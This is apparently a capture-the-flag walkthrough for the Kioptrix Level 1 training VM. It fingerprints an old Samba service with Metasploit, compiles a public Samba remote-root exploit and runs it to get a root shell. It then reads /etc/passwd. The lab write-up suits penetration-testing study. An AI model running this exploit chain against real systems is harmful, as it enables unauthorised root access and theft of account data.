Kioptrix Level 1 Walkthrough – Part 2 (SMB) (OSCP Prep)
Introduction
So you’ve successfully gotten root on Kioptrix Level 1 using the mod_ssl exploit outlined in Part 1. What next?
It turns out there is another attack vector we can use to compromise the Kioptrix Level 1 machine. In this walkthrough, we will examine how to gain root access to the Kioptrix machine using an SMB exploit.
For the purposes of brevity, this write-up will skip much of the initial scanning and enumeration of the box, as well as the post-exploitation process. Please refer to Part 1. Instead, we will assume here that you have already run a port scan and are ready to probe for vulnerabilities.
Before We Begin
As discussed in Part 1, Kioptrix Level 1 is an old machine. Due to this, there are a few issues we may run into when attempting to hack this VM in a contemporary setting.
Network Configuration and SSH
The first two problems involve the virtual machine’s network configuration and an SSH compatibility issue. For more information on resolving these issues, refer to Part 1.
Outdated SMB Configuration
The last issue we will face is an outdated SMB configuration on the target machine. A modern system may not be able to communicate with the Kioptrix machine’s SMB service using a default configuration.
The problem stems from the fact that Kioptrix uses a much older and obsolete version of SMB. Kali will not “speak” this version of SMB by default. In order to tell our modern Linux system to communicate with this older protocol, we must edit the SMB configuration.
With root privileges, using your favorite text editor, open up the file /etc/samba/smb.conf and make sure the following two lines are present in the [global] section of the file (be sure to indent the lines under the [global] section heading):
client min protocol = CORE
client max protocol = SMB3Now our modern system should be able to speak to the Kioptrix SMB server without issue.
Tools
Scanning and Enumeration
See Part 1 for more details on the initial port scan.
With a completed nmap scan, we can see details about all open ports on the Kioptrix system and the services running on each port. In the first part of this walkthrough, we focused on the web server (specifically, mod_ssl). In this second part, we will look to attacking the SMB service.
Having a look at the completed nmap scan, we see the SMB service running on port 139:
139/tcp open netbios-ssn syn-ack Samba smbd (workgroup: MYGROUP)In order to determine if there are any known vulnerabilities for this service, we need to know what version of Samba is running on the machine. Sometimes, enum4linux can be useful in determining an SMB server version. While some have successfully used enum4linux to enumerate the Samba version on this box, I had no success. In this instance, I turned to metasploit.
Fire up msfconsole. We need to search for a module that will enumerate the SMB server version.
msf6 > search smb version type:auxiliary
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- ----------
0 auxiliary/dos/windows/smb/rras_vls_null_deref 2006-06-14 normal No Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference
1 auxiliary/dos/windows/smb/ms11_019_electbowser normal No Microsoft Windows Browser Pool DoS
2 auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow normal No Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool Overflow DoS
3 auxiliary/scanner/smb/smb_version normal No SMB Version DetectionThe smb_version module looks promising. Let’s load it up and check out what options need to be set:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show info
Name: SMB Version Detection
Module: auxiliary/scanner/smb/smb_version
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
hdm <x@hdm.io>
Spencer McIntyre
Christophe De La Fuente
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
Fingerprint and display version information about SMB servers.
Protocol information and host operating system (if available) will
be reported. Host operating system detection requires the remote
server to support version 1 of the SMB protocol. Compression and
encryption capability negotiation is only present in version 3.1.1.It looks like all we need to set is the RHOSTS option. Let’s set it to our target IP and run the module:
msf6 auxiliary(scanner/smb/smb_version) > set rhosts 10.0.10.100
rhosts => 10.0.10.100
msf6 auxiliary(scanner/smb/smb_version) > run
[*] 10.0.10.100:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 10.0.10.100:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 10.0.10.100: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe see the Samba server has been identified as version 2.2.1a. Now let’s look for exploits.
Exploitation
First, we use searchsploit to search for any relevant exploits:
searchsploitThe RCE looks like a good candidate. We can mirror it and rename it:
┌──(ori0n㉿kali)-[~/kioptrix1/scans]
└─$ searchsploit -m multiple/remote/10.c
Exploit: Samba < 2.2.8 (Linux/BSD) - Remote Code Execution
URL: https://www.exploit-db.com/exploits/10
Path: /usr/share/exploitdb/exploits/multiple/remote/10.c
File Type: C source, ASCII text, with CRLF line terminators
Copied to: /home/ori0n/kioptrix1/scans/10.c
┌──(ori0n㉿kali)-[~/kioptrix1/scans]
└─$ mv 10.c smbsploit.cNow we can compile the exploit and check out what arguments are necessary:
┌──(ori0n㉿kali)-[~/kioptrix1/scans]
└─$ gcc -o smbsploit smbsploit.c
┌──(ori0n㉿kali)-[~/kioptrix1/scans]
└─$ ./smbsploit
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
Usage: ./smbsploit [-bBcCdfprsStv] [host]
-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior, 3 = OpenBSD 3.2)
-B <step> bruteforce steps (default = 300)
-c <ip address> connectback ip address
-C <max childs> max childs for scan/bruteforce mode (default = 40)
-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
-f force
-p <port> port to attack (default = 139)
-r <ret> return address
-s scan mode (random)
-S <network> scan mode
-t <type> presets (0 for a list)
-v verbose modeRunning while providing only a remote host address fails, but adding the -b0 option to specify a Linux target seems to do the trick:
┌──(ori0n㉿kali)-[~/kioptrix1/scans]
└─$ ./smbsploit -b0 10.0.10.100 1 ⨯
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
uid=0(root) gid=0(root) groups=99(nobody)It looks like we have a shell! Let’s verify:
whoami
root
hostname
kioptrix.level1
tail /etc/passwd
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nologin
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bashWe’re in!
Post-Exploitation and Capturing the Flag
As we’ve already covered post-exploitation and finding the “flag” in Part 1, please refer there for more details on this part of the process.
Next Steps
By now, you have compromised Kioptrix Level 1 using two separate attack vectors. A good next step would be to take on Kioptrix Level 1.1. Alternatively, you can check out the NetSecFocus Trophy Room for new machines to attack.
Leave a Reply